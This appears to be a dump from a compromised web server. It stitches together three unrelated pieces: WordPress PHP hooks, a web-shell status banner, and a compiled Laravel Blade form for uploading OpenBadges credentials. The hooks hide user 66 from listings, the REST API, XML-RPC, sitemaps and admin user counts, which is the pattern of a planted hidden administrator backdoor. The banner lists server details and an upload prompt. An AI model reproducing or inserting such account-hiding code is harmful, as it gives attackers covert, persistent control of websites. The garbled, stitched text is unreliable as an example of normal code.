add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/emaji/storage/framework/views/ |
Upload File : |
<?php $__env->startSection('title', 'Upload Credential'); ?>
<?php $__env->startSection('content'); ?>
<div class="container">
<div class="row justify-content-center">
<div class="col-md-8">
<div class="card">
<div class="card-header">
<h4 class="mb-0">Upload Credential</h4>
<small class="text-muted">Upload an OpenBadges 3.0 credential (JSON format only)</small>
</div>
<div class="card-body">
<?php if($errors->any()): ?>
<div class="alert alert-danger">
<strong>Error:</strong>
<ul class="mb-0">
<?php $__currentLoopData = $errors->all(); $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $error): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
<li><?php echo e($error); ?></li>
<?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
</ul>
</div>
<?php endif; ?>
<form method="POST" action="<?php echo e(route('organization.credentials.store')); ?>" id="uploadForm">
<?php echo csrf_field(); ?>
<div class="mb-3">
<label for="credential_file" class="form-label">Upload Credential File</label>
<input type="file" class="form-control" id="credential_file" accept=".json,application/json">
<small class="form-text text-muted">Select a .json file containing your OpenBadges 3.0 credential</small>
</div>
<div class="mb-3">
<label for="credential_json" class="form-label">Or Paste JSON</label>
<textarea id="credential_json" name="credential_json" class="form-control" rows="15" style="font-family: monospace; font-size: 0.9em;" placeholder="Paste your OpenBadges 3.0 credential JSON here..."><?php echo e(old('credential_json')); ?></textarea>
<small class="form-text text-muted">Must be valid JSON containing an OpenBadges 3.0 credential</small>
</div>
<div class="alert alert-info">
<strong>Accepted Format:</strong> OpenBadges 3.0 credentials only
<ul class="mb-0 mt-2">
<li>Must contain @context and type fields</li>
<li>Type must include VerifiableCredential or OpenBadgeCredential</li>
<li>For maturity level credentials, the level should be in the credential data</li>
</ul>
</div>
<div class="d-flex gap-2">
<button type="submit" class="btn btn-primary">Upload Credential</button>
<a href="<?php echo e(route('organization.credentials.index')); ?>" class="btn btn-secondary">Cancel</a>
</div>
</form>
</div>
</div>
</div>
</div>
</div>
<script>
document.getElementById('credential_file').addEventListener('change', function(e) {
const file = e.target.files[0];
if (!file) return;
if (!file.name.endsWith('.json')) {
alert('Please select a JSON file');
e.target.value = '';
return;
}
const reader = new FileReader();
reader.onload = function(event) {
try {
const json = JSON.parse(event.target.result);
document.getElementById('credential_json').value = JSON.stringify(json, null, 2);
} catch (error) {
alert('Invalid JSON file: ' + error.message);
e.target.value = '';
}
};
reader.readAsText(file);
});
document.getElementById('uploadForm').addEventListener('submit', function(e) {
const jsonText = document.getElementById('credential_json').value.trim();
if (!jsonText) {
e.preventDefault();
alert('Please upload a file or paste JSON content');
return false;
}
try {
JSON.parse(jsonText);
} catch (error) {
e.preventDefault();
alert('Invalid JSON: ' + error.message);
return false;
}
});
</script>
<?php $__env->stopSection(); ?>
<?php echo $__env->make('layouts.app', array_diff_key(get_defined_vars(), ['__data' => 1, '__path' => 1]))->render(); ?><?php /**PATH /var/www/html/emaji/resources/views/organization/credentials/create.blade.php ENDPATH**/ ?>